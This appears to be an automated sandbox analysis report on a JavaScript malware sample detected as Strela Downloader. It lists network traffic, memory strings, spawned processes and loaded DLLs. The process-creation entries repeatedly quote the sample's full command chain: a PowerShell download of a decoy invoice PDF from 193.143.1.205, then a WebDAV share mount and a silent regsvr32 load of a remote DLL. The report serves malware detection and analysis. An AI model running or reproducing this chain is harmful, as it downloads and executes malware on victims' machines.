HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2126616356.0000024E8878D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2125547037.0000024E88776000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2126616356.0000024E88777000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2125320931.0000024E88774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2189283924.000001FF09EFE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2189283924.000001FF09EA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2189283924.000001FF09EE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2189283924.000001FF09EE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/M
Source: net.exe, 00000007.00000002.2189283924.000001FF09EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sm
Source: svchost.exe, 00000009.00000002.3412695251.0000020EC2800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2192807823.0000020EC2720000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5008, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 7401990642713807.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/41@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6544:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mer0aed3.hkv.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7401990642713807.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1656,i,11865774184325783275,16723810736043265200,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\99771552627903.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1656,i,11865774184325783275,16723810736043265200,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
